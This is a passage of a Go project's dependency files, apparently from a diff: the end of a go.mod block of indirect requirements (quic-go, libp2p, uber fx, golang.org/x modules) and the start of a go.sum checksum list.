github.com/quic-go/quic-go v0.46.0 // indirect
github.com/quic-go/webtransport-go v0.8.0 // indirect
github.com/raulk/go-watchdog v1.3.0 // indirect
github.com/spaolacci/murmur3 v1.1.0 // indirect
github.com/stretchr/testify v1.9.0 // indirect
github.com/wlynxg/anet v0.0.4 // indirect
go.uber.org/dig v1.18.0 // indirect
go.uber.org/fx v1.22.2 // indirect
go.uber.org/mock v0.4.0 // indirect
go.uber.org/multierr v1.11.0 // indirect
go.uber.org/zap v1.27.0 // indirect
golang.org/x/crypto v0.26.0 // indirect
golang.org/x/exp v0.0.0-20240808152545-0cdaa3abc0fa // indirect
golang.org/x/mod v0.20.0 // indirect
golang.org/x/net v0.28.0 // indirect
golang.org/x/sync v0.8.0 // indirect
golang.org/x/sys v0.24.0 // indirect
golang.org/x/text v0.17.0 // indirect
golang.org/x/tools v0.24.0 // indirect
google.golang.org/genproto/googleapis/rpc v0.0.0-20240814211410-ddb44dafa142 // indirect
google.golang.org/grpc v1.67.0 // indirect
google.golang.org/protobuf v1.34.2 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
lukechampine.com/blake3 v1.3.0 // indirect
)
+519
View File
@@ -0,0 +1,519 @@
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.31.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.37.0/go.mod h1:TS1dMSSfndXH133OKGwekG838Om/cQT0BUHV3HcBgoo=
dmitri.shuralyov.com/app/changes v0.0.0-20180602232624-0a106ad413e3/go.mod h1:Yl+fi1br7+Rr3LqpNJf1/uxUdtRUV+Tnj0o93V2B9MU=
dmitri.shuralyov.com/html/belt v0.0.0-20180602232347-f7d459c86be0/go.mod h1:JLBrvjyP0v+ecvNYvCpyZgu5/xkfAUhi6wJj28eUfSU=
dmitri.shuralyov.com/service/change v0.0.0-20181023043359-a85b471d5412/go.mod h1:a1inKt/atXimZ4Mv927x+r7UpyzRUf4emIoiiSC2TN4=
dmitri.shuralyov.com/state v0.0.0-20180228185332-28bcc343414c/go.mod h1:0PRwlb0D6DFvNNtx+9ybjezNCa8XF0xaYcETyp6rHWU=
git.apache.org/thrift.git v0.0.0-20180902110319-2566ecd5d999/go.mod h1:fPE2ZNJGynbRyZ4dJvy6G277gSllfV2HJqblrnkyeyg=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/anmitsu/go-shlex v0.0.0-20161002113705-648efa622239/go.mod h1:2FmKhYUyUczH0OGQWaF5ceTx0UBShxjsH6f8oGKYe2c=
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/benbjohnson/clock v1.3.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/benbjohnson/clock v1.3.5 h1:VvXlSJBzZpA/zum6Sj74hxwYI2DIxRWuNIoXAzHZz5o=
github.com/benbjohnson/clock v1.3.5/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/bradfitz/go-smtpd v0.0.0-20170404230938-deb6d6237625/go.mod h1:HYsPBTaaSFSlLx/70C2HPIMNZpVV8+vt/A+FMnYP11g=
github.com/buger/jsonparser v0.0.0-20181115193947-bf1c66bbce23/go.mod h1:bbYlZJ7hK1yFx9hf58LP0zeX7UjIGs20ufpu3evjr+s=
github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/cilium/ebpf v0.2.0/go.mod h1:To2CFviqOWL/M0gIMsvSMlqe7em/l1ALkX1PyjrX2Qs=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/containerd/cgroups v0.0.0-20201119153540-4cbc285b3327/go.mod h1:ZJeTFisyysqgcCdecO57Dj79RfL0LNeGiFUqLYQRYLE=
github.com/containerd/cgroups v1.1.0 h1:v8rEWFl6EoqHB+swVNjVoCJE8o3jX7e8nqBGPLaDFBM=
github.com/containerd/cgroups v1.1.0/go.mod h1:6ppBcbh/NOOUU+dMKrykgaBnK9lCIBxHqJDGwsa1mIw=
github.com/coreos/go-systemd v0.0.0-20181012123002-c6f51f82210d/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
github.com/coreos/go-systemd/v22 v22.1.0/go.mod h1:xO0FLkIi5MaZafQlIrOotqXZ90ih+1atmu1JpKERPPk=
github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs=
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c h1:pFUpOrbxDR6AkioZ1ySsx5yxlDQZ8stG2b88gTPxgJU=
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c/go.mod h1:6UhI8N9EjYm1c2odKpFpAYeR8dsBeM7PtzQhRgxRr9U=
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.3.0 h1:rpfIENRNNilwHwZeG5+P150SMrnNEcHYvcCuK6dPZSg=
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.3.0/go.mod h1:v57UDF4pDQJcEfFUCRop3lJL149eHGSe9Jvczhzjo/0=
github.com/docker/go-units v0.4.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk=
github.com/docker/go-units v0.5.0 h1:69rxXcBk27SvSaaxTtLh/8llcHD8vYHT7WSdRZ/jvr4=
github.com/docker/go-units v0.5.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk=
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
github.com/elastic/gosigar v0.12.0/go.mod h1:iXRIGg2tLnu7LBdpqzyQfGDEidKCfWcCMS0WKyPWoMs=
github.com/elastic/gosigar v0.14.3 h1:xwkKwPia+hSfg9GqrCUKYdId102m9qTJIIr7egmK/uo=
github.com/elastic/gosigar v0.14.3/go.mod h1:iXRIGg2tLnu7LBdpqzyQfGDEidKCfWcCMS0WKyPWoMs=
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
github.com/flynn/noise v1.1.0 h1:KjPQoQCEFdZDiP03phOvGi11+SVVhBG2wOWAorLsstg=
github.com/flynn/noise v1.1.0/go.mod h1:xbMo+0i6+IGbYdJhF31t2eR1BIU0CYc12+BNAKwUTag=
github.com/francoispqt/gojay v1.2.13 h1:d2m3sFjloqoIUQU3TsHBgj6qg/BVGlTBeHDUmyJnXKk=
github.com/francoispqt/gojay v1.2.13/go.mod h1:ehT5mTG4ua4581f1++1WLG0vPdaA9HaiDsoyrBGkyDY=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
github.com/gliderlabs/ssh v0.1.1/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0=
github.com/go-errors/errors v1.0.1/go.mod h1:f4zRHt4oKfwPJE5k8C9vpYG+aDHdBFUsgrm6/TyX73Q=
github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=
github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=
github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
github.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o=
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
github.com/golang/lint v0.0.0-20180702182130-06c8688daad7/go.mod h1:tluoj9z5200jBnyusfRPU2LqT6J+DAorxEvtC7LHB+E=
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ=
github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8=
github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8 h1:FKHo8hFI3A+7w0aUQuYXQ+6EN5stWmeY/AZqtM8xk9k=
github.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8/go.mod h1:K1liHPHnj73Fdn/EKuT8nrFqBihUSKXoLYU0BuatOYo=
github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/googleapis/gax-go v2.0.0+incompatible/go.mod h1:SFVmujtThgffbyetf+mdk2eWhX2bMyUtNHzFKcPA9HY=
github.com/googleapis/gax-go/v2 v2.0.3/go.mod h1:LLvjysVCY1JZeum8Z6l8qUty8fiNwE08qbEPm1M08qg=
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/gregjones/httpcache v0.0.0-20180305231024-9cad4c3443a7/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA=
github.com/grpc-ecosystem/grpc-gateway v1.5.0/go.mod h1:RSKVYQBd5MCa4OVpNdGskqpgL2+G+NZTnrVHpWWfpdw=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/huin/goupnp v1.3.0 h1:UvLUlWDNpoUdYzb2TCn+MuTWtcjXKSza2n6CBdQ0xXc=
github.com/huin/goupnp v1.3.0/go.mod h1:gnGPsThkYa7bFi/KWmEysQRf48l2dvR5bxr2OFckNX8=
github.com/ipfs/go-cid v0.4.1 h1:A/T3qGvxi4kpKWWcPC/PgbvDA2bjVLO7n4UeVwnbs/s=
github.com/ipfs/go-cid v0.4.1/go.mod h1:uQHwDeX4c6CtyrFwdqyhpNcxVewur1M7l7fNU7LKwZk=
github.com/ipfs/go-log/v2 v2.5.1 h1:1XdUzF7048prq4aBjDQQ4SL5RxftpRGdXhNRwKSAlcY=
github.com/ipfs/go-log/v2 v2.5.1/go.mod h1:prSpmC1Gpllc9UYWxDiZDreBYw7zp4Iqp1kOLU9U5UI=
github.com/jackpal/go-nat-pmp v1.0.2 h1:KzKSgb7qkJvOUTqYl9/Hg/me3pWgBmERKrTGD7BdWus=
github.com/jackpal/go-nat-pmp v1.0.2/go.mod h1:QPH045xvCAeXUZOxsnwmrtiCoxIr9eob+4orBN1SBKc=
github.com/jbenet/go-temp-err-catcher v0.1.0 h1:zpb3ZH6wIE8Shj2sKS+khgRvf7T7RABoLk/+KKHggpk=
github.com/jbenet/go-temp-err-catcher v0.1.0/go.mod h1:0kJRvmDZXNMIiJirNPEYfhpPwbGVtZVWC34vc5WLsDk=
github.com/jellevandenhooff/dkim v0.0.0-20150330215556-f50fe3d243e1/go.mod h1:E0B/fFc00Y+Rasa88328GlI/XbtyysCtTHZS8h7IrBU=
github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
github.com/kisielk/errcheck v1.2.0/go.mod h1:/BMXB+zMLi60iA8Vv6Ksmxu/1UDYcXs4uQLJ+jE2L00=
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA=
github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw=
github.com/klauspost/cpuid/v2 v2.2.8 h1:+StwCXwm9PdpiEkPyzBXIy+M9KUb4ODm0Zarf1kS5BM=
github.com/klauspost/cpuid/v2 v2.2.8/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws=
github.com/koron/go-ssdp v0.0.4 h1:1IDwrghSKYM7yLf7XCzbByg2sJ/JcNOZRXS2jczTwz0=
github.com/koron/go-ssdp v0.0.4/go.mod h1:oDXq+E5IL5q0U8uSBcoAXzTzInwy5lEgC91HoKtbmZk=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.3/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
github.com/libp2p/go-buffer-pool v0.1.0 h1:oK4mSFcQz7cTQIfqbe4MIj9gLW+mnanjyFtc6cdF0Y8=
github.com/libp2p/go-buffer-pool v0.1.0/go.mod h1:N+vh8gMqimBzdKkSMVuydVDq+UV5QTWy5HSiZacSbPg=
github.com/libp2p/go-flow-metrics v0.1.0 h1:0iPhMI8PskQwzh57jB9WxIuIOQ0r+15PChFGkx3Q3WM=
github.com/libp2p/go-flow-metrics v0.1.0/go.mod h1:4Xi8MX8wj5aWNDAZttg6UPmc0ZrnFNsMtpsYUClFtro=
github.com/libp2p/go-libp2p v0.36.5 h1:DoABsaHO0VXwH6pwCs2F6XKAXWYjFMO4HFBoVxTnF9g=
github.com/libp2p/go-libp2p v0.36.5/go.mod h1:CpszAtXxHYOcyvB7K8rSHgnNlh21eKjYbEfLoMerbEI=
github.com/libp2p/go-libp2p-asn-util v0.4.1 h1:xqL7++IKD9TBFMgnLPZR6/6iYhawHKHl950SO9L6n94=
github.com/libp2p/go-libp2p-asn-util v0.4.1/go.mod h1:d/NI6XZ9qxw67b4e+NgpQexCIiFYJjErASrYW4PFDN8=
github.com/libp2p/go-libp2p-pubsub v0.12.0 h1:PENNZjSfk8KYxANRlpipdS7+BfLmOl3L2E/6vSNjbdI=
github.com/libp2p/go-libp2p-pubsub v0.12.0/go.mod h1:Oi0zw9aw8/Y5GC99zt+Ef2gYAl+0nZlwdJonDyOz/sE=
github.com/libp2p/go-msgio v0.3.0 h1:mf3Z8B1xcFN314sWX+2vOTShIE0Mmn2TXn3YCUQGNj0=
github.com/libp2p/go-msgio v0.3.0/go.mod h1:nyRM819GmVaF9LX3l03RMh10QdOroF++NBbxAb0mmDM=
github.com/libp2p/go-nat v0.2.0 h1:Tyz+bUFAYqGyJ/ppPPymMGbIgNRH+WqC5QrT5fKrrGk=
github.com/libp2p/go-nat v0.2.0/go.mod h1:3MJr+GRpRkyT65EpVPBstXLvOlAPzUVlG6Pwg9ohLJk=
github.com/libp2p/go-netroute v0.2.1 h1:V8kVrpD8GK0Riv15/7VN6RbUQ3URNZVosw7H2v9tksU=
github.com/libp2p/go-netroute v0.2.1/go.mod h1:hraioZr0fhBjG0ZRXJJ6Zj2IVEVNx6tDTFQfSmcq7mQ=
github.com/libp2p/go-reuseport v0.4.0 h1:nR5KU7hD0WxXCJbmw7r2rhRYruNRl2koHw8fQscQm2s=
github.com/libp2p/go-reuseport v0.4.0/go.mod h1:ZtI03j/wO5hZVDFo2jKywN6bYKWLOy8Se6DrI2E1cLU=
github.com/libp2p/go-yamux/v4 v4.0.1 h1:FfDR4S1wj6Bw2Pqbc8Uz7pCxeRBPbwsBbEdfwiCypkQ=
github.com/libp2p/go-yamux/v4 v4.0.1/go.mod h1:NWjl8ZTLOGlozrXSOZ/HlfG++39iKNnM5wwmtQP1YB4=
github.com/lunixbochs/vtclean v1.0.0/go.mod h1:pHhQNgMf3btfWnGBVipUOjRYhoOsdGqdm/+2c2E2WMI=
github.com/mailru/easyjson v0.0.0-20190312143242-1de009706dbe/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd h1:br0buuQ854V8u83wA0rVZ8ttrq5CpaPZdvrK0LP2lOk=
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd/go.mod h1:QuCEs1Nt24+FYQEqAAncTDPJIuGs+LxK1MCiFL25pMU=
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
github.com/microcosm-cc/bluemonday v1.0.1/go.mod h1:hsXNsILzKxV+sX77C5b8FSuKF00vh2OMYv+xgHpAMF4=
github.com/miekg/dns v1.1.62 h1:cN8OuEF1/x5Rq6Np+h1epln8OiyPWV+lROx9LxcGgIQ=
github.com/miekg/dns v1.1.62/go.mod h1:mvDlcItzm+br7MToIKqkglaGhlFMHJ9DTNNWONWXbNQ=
github.com/mikioh/tcp v0.0.0-20190314235350-803a9b46060c/go.mod h1:0SQS9kMwD2VsyFEB++InYyBJroV/FRmBgcydeSUcJms=
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b h1:z78hV3sbSMAUoyUMM0I83AUIT6Hu17AWfgjzIbtrYFc=
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b/go.mod h1:lxPUiZwKoFL8DUUmalo2yJJUCxbPKtm8OKfqr2/FTNU=
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc h1:PTfri+PuQmWDqERdnNMiD9ZejrlswWrCpBEZgWOiTrc=
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc/go.mod h1:cGKTAVKx4SxOuR/czcZ/E2RSJ3sfHs8FpHhQ5CWMf9s=
github.com/minio/blake2b-simd v0.0.0-20160723061019-3f5f724cb5b1/go.mod h1:pD8RvIylQ358TN4wwqatJ8rNavkEINozVn9DtGI3dfQ=
github.com/minio/sha256-simd v0.1.1-0.20190913151208-6de447530771/go.mod h1:B5e1o+1/KgNmWrSQK08Y6Z1Vb5pwIktudl0J58iy0KM=
github.com/minio/sha256-simd v1.0.1 h1:6kaan5IFmwTNynnKKpDHe6FWHohJOHhCPchzK49dzMM=
github.com/minio/sha256-simd v1.0.1/go.mod h1:Pz6AKMiUdngCLpeTL/RJY1M9rUuPMYujV5xJjtbRSN8=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/mr-tron/base58 v1.1.2/go.mod h1:BinMc/sQntlIE1frQmRFPUoPA1Zkr8VRgBdjWI2mNwc=
github.com/mr-tron/base58 v1.2.0 h1:T/HDJBh4ZCPbU39/+c3rRvE0uKBQlU27+QI8LJ4t64o=
github.com/mr-tron/base58 v1.2.0/go.mod h1:BinMc/sQntlIE1frQmRFPUoPA1Zkr8VRgBdjWI2mNwc=
github.com/multiformats/go-base32 v0.1.0 h1:pVx9xoSPqEIQG8o+UbAe7DNi51oej1NtK+aGkbLYxPE=
github.com/multiformats/go-base32 v0.1.0/go.mod h1:Kj3tFY6zNr+ABYMqeUNeGvkIC/UYgtWibDcT0rExnbI=
github.com/multiformats/go-base36 v0.2.0 h1:lFsAbNOGeKtuKozrtBsAkSVhv1p9D0/qedU9rQyccr0=
github.com/multiformats/go-base36 v0.2.0/go.mod h1:qvnKE++v+2MWCfePClUEjE78Z7P2a1UV0xHgWc0hkp4=
github.com/multiformats/go-multiaddr v0.1.1/go.mod h1:aMKBKNEYmzmDmxfX88/vz+J5IU55txyt0p4aiWVohjo=
github.com/multiformats/go-multiaddr v0.13.0 h1:BCBzs61E3AGHcYYTv8dqRH43ZfyrqM8RXVPT8t13tLQ=
github.com/multiformats/go-multiaddr v0.13.0/go.mod h1:sBXrNzucqkFJhvKOiwwLyqamGa/P5EIXNPLovyhQCII=
github.com/multiformats/go-multiaddr-dns v0.4.0 h1:P76EJ3qzBXpUXZ3twdCDx/kvagMsNo0LMFXpyms/zgU=
github.com/multiformats/go-multiaddr-dns v0.4.0/go.mod h1:7hfthtB4E4pQwirrz+J0CcDUfbWzTqEzVyYKKIKpgkc=
github.com/multiformats/go-multiaddr-fmt v0.1.0 h1:WLEFClPycPkp4fnIzoFoV9FVd49/eQsuaL3/CWe167E=
github.com/multiformats/go-multiaddr-fmt v0.1.0/go.mod h1:hGtDIW4PU4BqJ50gW2quDuPVjyWNZxToGUh/HwTZYJo=
github.com/multiformats/go-multibase v0.2.0 h1:isdYCVLvksgWlMW9OZRYJEa9pZETFivncJHmHnnd87g=
github.com/multiformats/go-multibase v0.2.0/go.mod h1:bFBZX4lKCA/2lyOFSAoKH5SS6oPyjtnzK/XTFDPkNuk=
github.com/multiformats/go-multicodec v0.9.0 h1:pb/dlPnzee/Sxv/j4PmkDRxCOi3hXTz3IbPKOXWJkmg=
github.com/multiformats/go-multicodec v0.9.0/go.mod h1:L3QTQvMIaVBkXOXXtVmYE+LI16i14xuaojr/H7Ai54k=
github.com/multiformats/go-multihash v0.0.8/go.mod h1:YSLudS+Pi8NHE7o6tb3D8vrpKa63epEDmG8nTduyAew=
github.com/multiformats/go-multihash v0.2.3 h1:7Lyc8XfX/IY2jWb/gI7JP+o7JEq9hOa7BFvVU9RSh+U=
github.com/multiformats/go-multihash v0.2.3/go.mod h1:dXgKXCXjBzdscBLk9JkjINiEsCKRVch90MdaGiKsvSM=
github.com/multiformats/go-multistream v0.5.0 h1:5htLSLl7lvJk3xx3qT/8Zm9J4K8vEOf/QGkvOGQAyiE=
github.com/multiformats/go-multistream v0.5.0/go.mod h1:n6tMZiwiP2wUsR8DgfDWw1dydlEqV3l6N3/GBsX6ILA=
github.com/multiformats/go-varint v0.0.7 h1:sWSGR+f/eu5ABZA2ZpYKBILXTTs9JWpdEM/nEGOHFS8=
github.com/multiformats/go-varint v0.0.7/go.mod h1:r8PUYw/fD/SjBCiKOoDlGF6QawOELpZAu9eioSos/OU=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/neelance/astrewrite v0.0.0-20160511093645-99348263ae86/go.mod h1:kHJEU3ofeGjhHklVoIGuVj85JJwZ6kWPaJwCIxgnFmo=
github.com/neelance/sourcemap v0.0.0-20151028013722-8c68805598ab/go.mod h1:Qr6/a/Q4r9LP1IltGz7tA7iOK1WonHEYhu1HRBA7ZiM=
github.com/onsi/ginkgo/v2 v2.20.0 h1:PE84V2mHqoT1sglvHc8ZdQtPcwmvvt29WLEEO3xmdZw=
github.com/onsi/ginkgo/v2 v2.20.0/go.mod h1:lG9ey2Z29hR41WMVthyJBGUBcBhGOtoPF2VFMvBXFCI=
github.com/opencontainers/runtime-spec v1.0.2/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/C5hL+LL3ko9hs6T5lQ0=
github.com/opencontainers/runtime-spec v1.2.0 h1:z97+pHb3uELt/yiAWD691HNHQIF07bE7dzrbT927iTk=
